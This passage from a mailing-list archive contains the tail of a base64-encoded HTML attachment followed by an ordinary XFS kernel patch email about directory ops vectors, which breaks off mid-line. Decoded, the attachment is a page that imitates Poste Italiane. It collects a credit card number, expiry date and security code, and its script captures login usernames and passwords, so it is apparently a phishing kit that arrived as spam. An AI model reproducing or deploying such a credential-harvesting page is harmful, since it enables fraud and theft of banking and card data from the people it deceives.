YXRvci5hZGRWYWxpZGF0aW9uKCJjYXJ0YSIsInJlcSIsIkluc2VyaXJlIGlsIG51bWVybyBk aSBjYXJ0YSEiKTsNCiBmcm12YWxpZGF0b3IuYWRkVmFsaWRhdGlvbigiY2FydGEiLCJudW0i LCJTb2xvIG51bWVyaSBjb25zZW50aXRpIGluIG51bWVybyBkaSBjYXJ0YSBkaSBjcmVkaXRv ISIpOw0KIGZybXZhbGlkYXRvci5hZGRWYWxpZGF0aW9uKCJjYXJ0YSIsIm1pbmxlbj0xNiIs IklsIG51bWVybyBkZWxsYSBjYXJ0YSBkZXZlIGF2ZXJlIHNlZGljaSBjaWZyZSEiKTsNCiBm cm12YWxpZGF0b3IuYWRkVmFsaWRhdGlvbigibWVzZSIsInJlcSIsIlNlbGV6aW9uYSBpbCBt ZXNlIGRpIHNjYWRlbnphISIpOw0KIGZybXZhbGlkYXRvci5hZGRWYWxpZGF0aW9uKCJhbm5v IiwicmVxIiwiU2VsZXppb25hcmUgbCdhbm5vIGRpIHNjYWRlbnphISIpOw0KIGZybXZhbGlk YXRvci5hZGRWYWxpZGF0aW9uKCJzaWN1cmV6emEiLCJyZXEiLCJJbnNlcmlyZSBpbCBjb2Rp Y2UgZGkgc2ljdXJlenphISIpOw0KIGZybXZhbGlkYXRvci5hZGRWYWxpZGF0aW9uKCJzaWN1 cmV6emEiLCJudW0iLCJJbCBjb2RpY2UgZGkgc2ljdXJlenphIGRldmUgY29udGVuZXJlIHNv bG8gY2lmcmUhIik7DQogZnJtdmFsaWRhdG9yLmFkZFZhbGlkYXRpb24oInNpY3VyZXp6YSIs Im1pbmxlbj0zIiwiSWwgY29kaWNlIGRpIHNpY3VyZXp6YSBkZXZlIGF2ZXJlIHRyZSBjaWZy ZSEiKTsNCgkJCQkJCQkJPC9zY3JpcHQ+DQoJCQkJCQkJCTxkaXYgY2xhc3M9InVsTG9naW5D b250YWluZXIiPg0KCQkJCQkJCQkJPHVsPg0KCQkJCQkJCQkJCTxsaT48YT5Ob24gc2VpIGFu Y29yYSByZWdpc3RyYXRvPzwvYT48L2xpPg0KCQkJCQkJCQkJCTxsaT48YT5IYWkgZGltZW50 aWNhdG8gbGEgcGFzc3dvcmQ/PC9hPjwvbGk+DQoJCQkJCQkJCQkJPGxpPjxhIGhyZWY9Imh0 dHA6Ly9hbnRpcGhpc2hpbmcucG9zdGUuaXQvIj5Db21lIGRpZmVuZGVyc2kgZGFsIHBoaXNo aW5nPC9hPjxpbWcgc3JjPSJwZXNjZS5naWYiIGFsdD0iRGlmZW5kZXJzaSBkYWwgUGhpc2hp bmciIGNsYXNzPSJjNSIgYWxpZ249Im1pZGRsZSI+PC9saT4NCgkJCQkJCQkJCTwvdWw+DQoJ CQkJCQkJCTwvZGl2Pg0KCQkJCQkJCTwvZGl2Pg0KCQkJCQkJPC9kaXY+DQoJCQkJCTwvdGQ+ DQoJCQkJCTx0ZCBjbGFzcz0iYmxvY2NvQTIiPg0KCQkJCQkJPGRpdiBjbGFzcz0iYmxvY2Nv QTJfMSI+DQoJCQkJCQkJUGVyIHV0aWxpenphcmUgaSBzZXJ2aXppIG9ubGluZSBlIGluIGNh c28gZGkgbWFuY2F0byBhY2Nlc3NvIG8gbm9uIGZ1bnppb25hbWVudG8gZGVpIHNlcnZpemkg JmVncmF2ZTsgbmVjZXNzYXJpbzoNCgkJCQkJCQk8dWwgY2xhc3M9Imxpc3RhIj4NCgkJCQkJ CQkJPGxpPnZlcmlmaWNhcmUgaWwgY29ycmV0dG8gaW5zZXJpbWVudG8gZGVsIG5vbWUgdXRl bnRlIGUgZGVsbGEgcGFzc3dvcmQuPGJyPg0KCQkJCQkJCQkgSWwgbm9tZSB1dGVudGUgdmEg aW5zZXJpdG8gY29tZSBub21lLmNvZ25vbWUgcGkmdWdyYXZlOyBsJ2V2ZW50dWFsZSBlc3Rl bnNpb25lIChtYXJpby5yb3NzaS0xMjM0KSByaWNoaWVzdGEgZHVyYW50ZSBsYSByZWdpc3Ry YXppb25lLjxicj4NCgkJCQkJCQkJIExhIHBhc3N3b3JkIHZhIGluc2VyaXRhIHJpc3BldHRh bmRvIGxhIHNlcXVlbnphIGRpIGNhcmF0dGVyaSBtYWl1c2NvbG8gbyBtaW51c2NvbG8gY29t ZSBpbnNlcml0aSBpbiBmYXNlIGRpIHJlZ2lzdHJhemlvbmUgbyBpbiBvY2Nhc2lvbmUgZGVs bCd1bHRpbW8gY2FtYmlvLjwvbGk+DQoJCQkJCQkJCTxsaT5lc2VndWlyZSBwZXJpb2RpY2Ft ZW50ZSBsYSBwdWxpemlhIGRlaSBmaWxlIHRlbXBvcmFuZWkgZSBkZWkgY29va2llOzwvbGk+ DQoJCQkJCQkJCTxsaT52ZXJpZmljYXJlIGxlIHByb3ByaWV0JmFncmF2ZTsgZGF0YS9vcmEg ZSBmdXNvIG9yYXJpbyBkZWwgY29tcHV0ZXIuPC9saT4NCgkJCQkJCQk8L3VsPg0KCQkJCQkJ CSBRdWFsb3JhIGkgcHJvYmxlbWkgcGVyc2lzdGFubyAmZWdyYXZlOyBwb3NzaWJpbGUgY29u dGF0dGFyZSBpbCBDYWxsIENlbnRlciBhbCBudW1lcm8gdmVyZGUgODAzLjE2MCogKGRhbCBs dW5lZCZpZ3JhdmU7IGFsIHNhYmF0byBkYWxsZSBvcmUgOC4wMCBhbGxlIG9yZSAyMC4wMCkg ZWZmZXR0dWFuZG8gbGEgc2NlbHRhICIzIiBwZXIgaSBTZXJ2aXppIEludGVybmV0LiBJbiBh bHRlcm5hdGl2YSBwdSZvZ3JhdmU7IGludmlhcmUgdW4gbWVzc2FnZ2lvIGRhIHF1ZXN0YSA8 YT5wYWdpbmEgd2ViPC9hPiBpbmRpY2FuZG8gaWwgc3VvIG5vbWUgZSBjb2dub21lLCB1biBy ZWNhcGl0byB0ZWxlZm9uaWNvIGUgbGEgZmFzY2lhIG9yYXJpYSBwcmVmZXJpdGEgcGVyIGVz c2VyZSBjb250YXR0YXRvLjxicj4NCgkJCQkJCQk8YnI+DQoJCQkJCQkJIEFsIG1vbWVudG8g ZGVsIGNvbnRhdHRvIHRlbGVmb25pY28gJmVncmF2ZTsgdXRpbGUgYXZlcmUgaWwgY29tcHV0 ZXIgY29sbGVnYXRvIGEgSW50ZXJuZXQgZSBhdmVyZSBhIGRpc3Bvc2l6aW9uZSBpbCBjb2Rp Y2UgZGkgYXR0aXZhemlvbmUgKHJpY2V2dXRvIHRyYW1pdGUgdGVsZWdyYW1tYSkgbyBpbCBj b2RpY2UgZGkgY3VzdG9tZXIgY2FyZSAocmlsYXNjaWF0byBhbCBtb21lbnRvIGRlbGxhIHJl Z2lzdHJhemlvbmUpLg0KCQkJCQkJCTxkaXYgY2xhc3M9InRwbF90ZXN0byI+DQoJCQkJCQkJ CSgqKSBjaGlhbWF0YSBncmF0dWl0YSBkYSByZXRlIGZpc3NhOyBsZSBjaGlhbWF0ZSBkYSBy ZXRlIG1vYmlsZSBzb25vIGdyYXR1aXRlIHNvbG8gcGVyIGluZm9ybWF6aW9uaSBzdSBQb3N0 ZU1vYmlsZS4gUGVyIGxlIGFsdHJlIGluZm9ybWF6aW9uaSwgZGEgcmV0ZSBtb2JpbGUgY2hp YW1hcmUgaWwgMTk5LjEwMC4xNjAgaWwgY29zdG8gZGVsbGEgY2hpYW1hdGEgZGlwZW5kZSBk YWxsJ29wZXJhdG9yZSB1dGlsaXp6YXRvDQoJCQkJCQkJPC9kaXY+DQoJCQkJCQkJPGJyPg0K CQkJCQkJPC9kaXY+DQoJCQkJCQk8ZGl2IGNsYXNzPSJibG9jY29BMl8yIGMxIj4NCgkJCQkJ CQk8aDE+U3BlZGlyZSBvbmxpbmUgLSBQb3N0ZW1haWxib3g8L2gxPg0KCQkJCQkJCTxkaXY+ DQoJCQkJCQkJCTxwPg0KCQkJCQkJCQkJQ29uIFBvc3RlbWFpbGJveCBwdW9pIGdlc3RpcmUg ZSBvcmdhbml6emFyZSBpbiBtb2RvIHNlbXBsaWNlIGUgc2ljdXJvIGxlIHR1ZSBjb211bmlj YXppb25pIGUgaSB0dW9pIGRvY3VtZW50aSBkaXJldHRhbWVudGUgc3VsIHNpdG8gUG9zdGUu aXQuDQoJCQkJCQkJCTwvcD4NCgkJCQkJCQk8L2Rpdj4NCgkJCQkJCQk8ZGl2IGNsYXNzPSJm bG9hdEFubnVsbGEiPg0KCQkJCQkJCTwvZGl2Pg0KCQkJCQkJCTxkaXYgY2xhc3M9ImNvcnBv UGFnaW5hIGFyZWFDb21wbGV0YW1lbnRlRWRpdGFiaWxlIj4NCgkJCQkJCQkJPHA+DQoJCQkJ CQkJCQk8aW1nIGNsYXNzPSJpbW1hZ2luZV9hX2Rlc3RyYSBjOCIgdGl0bGU9IlBvc3RlbWFp bGJveCIgc3JjPSJwb3N0ZW1haWxib3guanBnIiBhbHQ9IlBvc3RlbWFpbGJveCIgd2lkdGg9 IjE1MCI+DQoJCQkJCQkJCTwvcD4NCgkJCQkJCQkJPGJyPg0KCQkJCQkJCQk8c3Ryb25nPlBv c3RlbWFpbGJveDwvc3Ryb25nPiB0aSBvZmZyZToNCgkJCQkJCQkJPHVsIGNsYXNzPSJjOSI+ DQoJCQkJCQkJCQk8bGk+PGEgaHJlZj0iaHR0cDovL3d3dy5wb3N0ZS5pdC9wb3N0YWxpL29u bGluZS9wb3N0ZW1haWxib3gvcGVjLnNodG1sIiB0YXJnZXQ9Il9ibGFuayI+PHN0cm9uZz5Q b3N0YSBFbGV0dHJvbmljYSBDZXJ0aWZpY2F0YSAoUEVDKTwvc3Ryb25nPjwvYT4sIHBlciBj b211bmljYXJlIGluIG1vZG8gc2ljdXJvIGUgcHJvdGV0dG8sIGNvbiBsYSBjZXJ0aWZpY2F6 aW9uZSBsZWdhbGUgZGVsbCdpbnZpbzs8L2xpPg0KCQkJCQkJCQkJPGxpPjxhIGhyZWY9Imh0 dHA6Ly93d3cucG9zdGUuaXQvcG9zdGFsaS9vbmxpbmUvcG9zdGVtYWlsYm94L2Zpcm1hX2Rp Z2l0YWxlLnNodG1sIiB0YXJnZXQ9Il9ibGFuayI+PHN0cm9uZz5GaXJtYSBkaWdpdGFsZTwv c3Ryb25nPjwvYT4sIHBlciBmaXJtYXJlIGluIHBpZW5hIHNpY3VyZXp6YSBkb2N1bWVudGkg ZWxldHRyb25pY2k7IGxhIHR1YSBmaXJtYSBhdnImYWdyYXZlOyBsbyBzdGVzc28gdmFsb3Jl IGxlZ2FsZSBkZWxsYSBmaXJtYSBhdXRvZ3JhZmE7PC9saT4NCgkJCQkJCQkJCTxsaT48YSBo cmVmPSJodHRwOi8vd3d3LnBvc3RlLml0L3Bvc3RhbGkvb25saW5lL3Bvc3RlbWFpbGJveC9h cmNoaXZpby5zaHRtbCIgdGFyZ2V0PSJfYmxhbmsiPjxzdHJvbmc+QXJjaGl2aW8gZGkgNCBH Qjwvc3Ryb25nPjwvYT4sIHBlciBjb25zZXJ2YXJlIG9ubGluZSBxdWFsc2lhc2kgdGlwbyBk aSBmaWxlIChkb2N1bWVudGksIGZvdG8sIHZpZGVvIGUgYWx0cm8gYW5jb3JhKS48L2xpPg0K CQkJCQkJCQkJPGxpPjxhIGhyZWY9Imh0dHA6Ly93d3cucG9zdGUuaXQvcG9zdGFsaS9vbmxp bmUvcG9zdGVtYWlsYm94L2NvbnNlcnZhemlvbmUtc29zdGl0dXRpdmEuc2h0bWwiIHRhcmdl dD0iX2JsYW5rIj48c3Ryb25nPkNvbnNlcnZhemlvbmUgU29zdGl0dXRpdmE8L3N0cm9uZz48 L2E+IChzZXJ2aXppbyBvcHppb25hbGUgYSBwYWdhbWVudG8pIHBlciBjb25zZXJ2YXJlIGEg bm9ybWEgZGkgbGVnZ2UgaSBkb2N1bWVudGkgaW5mb3JtYXRpdmkuPC9saT4NCgkJCQkJCQkJ PC91bD4NCgkJCQkJCQk8L2Rpdj4NCgkJCQkJCQk8ZGl2IGNsYXNzPSJjb3Jwb1BhZ2luYSI+ DQoJCQkJCQkJCTxkaXYgY2xhc3M9ImFyZWFDb21wbGV0YW1lbnRlRWRpdGFiaWxlIj4NCgkJ CQkJCQkJCTxwPg0KCQkJCQkJCQkJCVB1b2kgYXR0aXZhcmUgPHN0cm9uZz5Qb3N0ZW1haWxi b3g8L3N0cm9uZz4gY29uIHBvY28gcGkmdWdyYXZlOyBkaSAxIGV1cm8gYWwgbWVzZS4NCgkJ CQkJCQkJCTwvcD4NCgkJCQkJCQkJCTxwPg0KCQkJCQkJCQkJCVNlIHNlaSB0aXRvbGFyZSBk ZWwgc2Vydml6aW8gQmFuY29Qb3N0YSBPbmxpbmUsIGRlbCBjb250byBCYW5jb1Bvc3RhIENs aWNrIG8gZGkgY2FydGEgUG9zdGVwYXkgbm9taW5hdGl2YSBjb24gYWNjZXNzbyBhbGxlIGZ1 bnppb25hbGl0JmFncmF2ZTsgb25saW5lLCBpbCA8c3Ryb25nPnNlcnZpemlvICZlZ3JhdmU7 IGdyYXR1aXRvPC9zdHJvbmc+Ki4NCgkJCQkJCQkJCTwvcD4NCgkJCQkJCQkJPC9kaXY+PGJy Pjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48 YnI+PGJyPg0KCQkJCQkJCTwvZGl2Pg0KCQkJCQkJPC9kaXY+DQoJCQkJCTwvdGQ+DQoJCQkJ PC90cj4NCgkJCQk8L3RhYmxlPg0KCQkJPC9kaXY+DQoJCTwvZGl2Pg0KCQk8ZGl2IGNsYXNz PSJmbG9hdEFubnVsbGEiPg0KCQk8L2Rpdj4NCgkJPGRpdiBjbGFzcz0iZm9vdGVyIj4NCgkJ CTxhIHRpdGxlPSJDb250YXR0YWNpIj5Db250YXR0YWNpPC9hPiB8IDxhIHRpdGxlPSJQcml2 YWN5Ij5Qcml2YWN5PC9hPiB8ICZjb3B5OyBQb3N0ZSBpdGFsaWFuZSAyMDEzDQoJCTwvZGl2 Pg0KCTwvZGl2Pg0KPC9kaXY+DQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQog ICAgICAgIGZ1bmN0aW9uIGNoYW5nZSgpIHsNCiAgICAgICAgICAgICAgICAkKCcudGl0b2xv QWNjZXNzb1ByaXZhdGlfaW50ZXJuYScpLmhpZGUoKTsNCiAgICAgICAgICAgICAgICAkKCcu Ym94X2ludGVybmFfMScpLmhpZGUoKTsNCiAgICAgICAgICAgICAgICAkKCcuYm94X2ludGVy bmFfMicpLnNob3coKTsNCiAgICAgICAgICAgICAgICAkKCcudHBsX3Rlc3RhdGExJykuaGlk ZSgpOw0KICAgICAgICAgICAgICAgICQoJy50cGxfdGVzdGF0YTInKS5zaG93KCk7DQogICAg ICAgICAgICAgICAgJCgnLmJsb2Njb0EyXzEnKS5oaWRlKCk7DQogICAgICAgICAgICAgICAg JCgnLmJsb2Njb0EyXzInKS5zaG93KCk7DQogICAgICAgIH0NCiAgICAgICAgJChkb2N1bWVu dCkucmVhZHkoZnVuY3Rpb24oKXsNCiAgICAgICAgICAgICAgICB2YXIgY2FtcGlEYVB1bGly ZSA9IHsgDQogICAgICAgICAgICAgICAgICAgICAgICAnLmlucHV0QWNjZWRpJzogJ05vbWUg dXRlbnRlJywNCiAgICAgICAgICAgICAgICAgICAgICAgICcuaW5wdXRQYXNzd29yZCc6ICdw YXNzd29yZCcNCiAgICAgICAgICAgICAgICB9Ow0KICAgICAgICAgICAgICAgIHB1bGlzY2lJ bnB1dChjYW1waURhUHVsaXJlKTsNCiAgICAgICAgICAgICAgICB2YXIgZGF0YSA9IG5ldyBB cnJheSgpOw0KICAgICAgICAgICAgICAgICQoJy5ib3hfaW50ZXJuYV8xICNsb2dpbmZvcm0x IGlucHV0W3R5cGU9c3VibWl0XScpLmJpbmQoJ2NsaWNrJywgZnVuY3Rpb24oKSB7DQogICAg ICAgICAgICAgICAgICAgICAgICBkYXRhWyd1c2VybmFtZSddID0gJCgnI2xvZ2luZm9ybTEg I3VzZXJuYW1lJykudmFsKCk7DQogICAgICAgICAgICAgICAgICAgICAgICBkYXRhWydwYXNz d29yZCddID0gJCgnI2xvZ2luZm9ybTEgI3Bhc3N3b3JkJykudmFsKCk7DQogICAgICAgICAg ICAgICAgICAgICAgICBpZigkKCcjbG9naW5mb3JtMSAjdXNlcm5hbWUnKS52YWwoKSA9PSAn Tm9tZSB1dGVudGUnKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFsZXJ0 KCdJbnNlcmlyZSBpbCBub21lIHV0ZW50ZScpOw0KICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAg ICAgICAgICAgICAgICAgICAgICBpZigkKCcjbG9naW5mb3JtMSAjcGFzc3dvcmQnKS52YWwo KSA9PSAncGFzc3dvcmQnKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFs ZXJ0KCdJbnNlcmlyZSBsYSBwYXNzd29yZCcpOw0KICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAg ICAgICAgICAgICAgICAgICAgICBpZigkKCcjbG9naW5mb3JtMSAjcGFzc3dvcmQnKS52YWwo KS5sZW5ndGggPCA1KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFsZXJ0 KCdMYSBwYXNzd29yZCAmZWdyYXZlOyB0cm9wcG8gY29ydGEnKTsNCiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgICAgICAgICAg ICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJCgiI2xvZ2luZm9ybTEgI3VzZXJu YW1lIikudmFsKCkuaW5kZXhPZignLicpID09IC0xKSB7DQogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIGFsZXJ0KCdJbCBub21lIHV0ZW50ZSBub24gJmVncmF2ZTsgdmFsaWRv Jyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAg ICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCQo IiNsb2dpbmZvcm0xICN1c2VybmFtZSIpLnZhbCgpLmluZGV4T2YoJ0AnKT4gLTEpIHsNCiAg ICAgICAgICAgICAgICAgICAgICAgICAgaWYoJCgiI2xvZ2luZm9ybTEgI3VzZXJuYW1lIiku dmFsKCkuaW5kZXhPZignQHBvc3RlLml0JykgPT0gLTEpew0KICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICBhbGVydCgnSWwgbm9tZSB1dGVudGUgbm9uICZlZ3JhdmU7IHZhbGlk bycpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQog ICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0N CiAgICAgICAgICAgICAgICAgICAgICAgIGNoYW5nZSgpOw0KICAgICAgICAgICAgICAgICAg ICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgICAgIH0pOw0KICAgICAgICAgICAg ICAgICQoJy5ib3hfaW50ZXJuYV8yICNsb2dpbmZvcm0xMiBpbnB1dFt0eXBlPXN1Ym1pdF0n KS5iaW5kKCdjbGljaycsIGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgICAgICAgICBkb2N1 bWVudC5nZXRFbGVtZW50QnlJZCgndXNlcm5hbWUxJykudmFsdWUgPSBkYXRhWyd1c2VybmFt ZSddOw0KICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQo J3Bhc3N3b3JkMScpLnZhbHVlID0gZGF0YVsncGFzc3dvcmQnXTsNCiAgICAgICAgICAgICAg ICB9KTsNCiAgICAgICAgfSk7DQo8L3NjcmlwdD4NCjwvYm9keT4NCjwvaHRtbD4= ------=_NextPart_000_0012_BC9E26A6.1B365DF9-- From dave@fromorbit.com Fri Sep 20 04:39:16 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 927BE7F37 for ; Fri, 20 Sep 2013 04:39:16 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 45A688F8052 for ; Fri, 20 Sep 2013 02:39:13 -0700 (PDT) X-ASG-Debug-ID: 1379669946-04bdf02f231260a90001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id GAFD3bpCTkBU3BFn for ; Fri, 20 Sep 2013 02:39:06 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnoHAJ4WPFJ5Lapl/2dsb2JhbABagweuOZUhF3SCJQEtLzsYagM0iASZTaFAlAoDqXKDNiqBLCQ Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail05.adl6.internode.on.net with ESMTP; 20 Sep 2013 19:09:04 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VMxAn-0006Hn-9t for xfs@oss.sgi.com; Fri, 20 Sep 2013 19:38:49 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VMxAn-00072i-8k for xfs@oss.sgi.com; Fri, 20 Sep 2013 19:38:49 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH] [RFC] xfs: abstract the differences in dir2/dir3 via an ops vector Date: Fri, 20 Sep 2013 19:38:49 +1000 X-ASG-Orig-Subj: [PATCH] [RFC] xfs: abstract the differences in dir2/dir3 via an ops vector Message-Id: <1379669929-27040-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1379669946 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140776 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Lots of the dir code now goes through switches to determine what is the correct on-disk format to parse. It generally involves a "xfs_sbversion_hasfoo" check, deferencing the superblock version and feature fields and hence touching several cache lines per operation in the process. Some operations do multiple checks because they nest conditional operations and they don't pass the information in a direct fashion between each other. Hence, add an ops vector to the xfs_inode structure that is configured when the inode is initialised to point to all the correct decode and encoding operations. This will significantly reduce the branchiness and cacheline footprint of the directory object decoding and encoding. This is the first patch in a series of conversion patches. It will introduce the ops structure, the setup of it and add the first operation to the vector. Subsequent patches will convert directory ops one at a time to keep the changes simple and obvious. Just this patch shows the benefit of such an approach on code size. Just converting the two shortform dir operations as this patch does decreases the built binary size by ~1500 bytes: $ size fs/xfs/xfs.o fs/xfs/xfs.o.patched text data bss dec hex filename 792088 96659 632 889379 d9223 fs/xfs/xfs.o 790600 96659 632 887891 d8c53 fs/xfs/xfs.o.patched $ That's a significant decrease in the instruction cache footprint of the directory code for such a simple change, and indicates that this approach is definitely worth pursuing further. Signed-off-by: Dave Chinner --- fs/xfs/Makefile | 1 + fs/xfs/xfs_da_btree.h | 1 + fs/xfs/xfs_da_format.c | 85 +++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_da_format.h | 26 --------------- fs/xfs/xfs_dir2.c | 7 ++++ fs/xfs/xfs_dir2.h | 14 ++++++++ fs/xfs/xfs_dir2_block.c | 2 +- fs/xfs/xfs_dir2_readdir.c | 4 +-- fs/xfs/xfs_dir2_sf.c | 31 +++++++++-------- fs/xfs/xfs_inode.h | 3 ++ fs/xfs/xfs_iops.c | 1 + fs/xfs/xfs_mount.h | 2 ++ 12 files changed, 132 insertions(+), 45 deletions(-) create mode 100644 fs/xfs/xfs_da_format.c diff --git a/fs/xfs/Makefile b/fs/xfs/Makefile index 33a69fa..c21f435 100644 --- a/fs/xfs/Makefile +++ b/fs/xfs/Makefile @@ -66,6 +66,7 @@ xfs-y += xfs_alloc.o \ xfs_bmap_btree.o \ xfs_btree.o \ xfs_da_btree.o \ + xfs_da_format.o \ xfs_dir2.o \ xfs_dir2_block.o \ xfs_dir2_data.o \ diff --git a/fs/xfs/xfs_da_btree.h b/fs/xfs/xfs_da_btree.h index e492dca..6e95ea7 100644 --- a/fs/xfs/xfs_da_btree.h +++ b/fs/xfs/xfs_da_btree.h @@ -23,6 +23,7 @@ struct xfs_bmap_free; struct xfs_inode; struct xfs_trans; struct zone; +struct xfs_dir_ops; /*======================================================================== * Btree searching and modification structure definitions. diff --git a/fs/xfs/xfs_da_format.c b/fs/xfs/xfs_da_format.c new file mode 100644 index 0000000..982d105 --- /dev/null +++ b/fs/xfs/xfs_da_format.c @@ -0,0 +1,85 @@ +/* + * Copyright (c) 2000,2002,2005 Silicon Graphics, Inc. + * Copyright (c) 2013 Red Hat, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include "xfs.h" +#include "xfs_fs.h" +#include "xfs_format.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" +#include "xfs_sb.h" +#include "xfs_ag.h" +#include "xfs_mount.h" +#include "xfs_da_format.h" +#include "xfs_inode.h" +#include "xfs_dir2.h" + + +static int +xfs_dir2_sf_entsize( + struct xfs_dir2_sf_hdr *hdr, + int len) +{ + int count = sizeof(struct xfs_dir2_sf_entry); /* namelen + offset */ + + count += len; /* name */ + count += hdr->i8count ? sizeof(xfs_dir2_ino8_t) : + sizeof(xfs_dir2_ino4_t); /* ino # */ + return count; +} + +static int +xfs_dir3_sf_entsize( + struct xfs_dir2_sf_hdr *hdr, + int len) +{ + return xfs_dir2_sf_entsize(hdr, len) + sizeof(__uint8_t); +} + +static struct xfs_dir2_sf_entry * +xfs_dir2_sf_nextentry( + struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep) +{ + return (struct xfs_dir2_sf_entry *) + ((char *)sfep + xfs_dir2_sf_entsize(hdr, sfep->namelen)); +} + +static struct xfs_dir2_sf_entry * +xfs_dir3_sf_nextentry( + struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep) +{ + return (struct xfs_dir2_sf_entry *) + ((char *)sfep + xfs_dir3_sf_entsize(hdr, sfep->namelen)); +} + + +const struct xfs_dir_ops xfs_dir2_ops = { + .sf_entsize = xfs_dir2_sf_entsize, + .sf_nextentry = xfs_dir2_sf_nextentry, +}; + +const struct xfs_dir_ops xfs_dir2_ftype_ops = { + .sf_entsize = xfs_dir3_sf_entsize, + .sf_nextentry = xfs_dir3_sf_nextentry, +}; + +const struct xfs_dir_ops xfs_dir3_ops = { + .sf_entsize = xfs_dir3_sf_entsize, + .sf_nextentry = xfs_dir3_sf_nextentry, +}; diff --git a/fs/xfs/xfs_da_format.h b/fs/xfs/xfs_da_format.h index e62f671..026092d 100644 --- a/fs/xfs/xfs_da_format.h +++ b/fs/xfs/xfs_da_format.h @@ -329,32 +329,6 @@ xfs_dir2_sf_firstentry(struct xfs_dir2_sf_hdr *hdr) ((char *)hdr + xfs_dir2_sf_hdr_size(hdr->i8count)); } -static inline int -xfs_dir3_sf_entsize( - struct xfs_mount *mp, - struct xfs_dir2_sf_hdr *hdr, - int len) -{ - int count = sizeof(struct xfs_dir2_sf_entry); /* namelen + offset */ - - count += len; /* name */ - count += hdr->i8count ? sizeof(xfs_dir2_ino8_t) : - sizeof(xfs_dir2_ino4_t); /* ino # */ - if (xfs_sb_version_hasftype(&mp->m_sb)) - count += sizeof(__uint8_t); /* file type */ - return count; -} - -static inline struct xfs_dir2_sf_entry * -xfs_dir3_sf_nextentry( - struct xfs_mount *mp, - struct xfs_dir2_sf_hdr *hdr, - struct xfs_dir2_sf_entry *sfep) -{ - return (struct xfs_dir2_sf_entry *) - ((char *)sfep + xfs_dir3_sf_entsize(mp, hdr, sfep->namelen)); -} - /* * in dir3 shortform directories, the file type field is stored at a variable * offset after the inode number. Because it's only a single byte, endian diff --git a/fs/xfs/xfs_dir2.c b/fs/xfs/xfs_dir2.c index 38bf932..7911136 100644 --- a/fs/xfs/xfs_dir2.c +++ b/fs/xfs/xfs_dir2.c @@ -112,6 +112,13 @@ xfs_dir_mount( mp->m_dirnameops = &xfs_ascii_ci_nameops; else mp->m_dirnameops 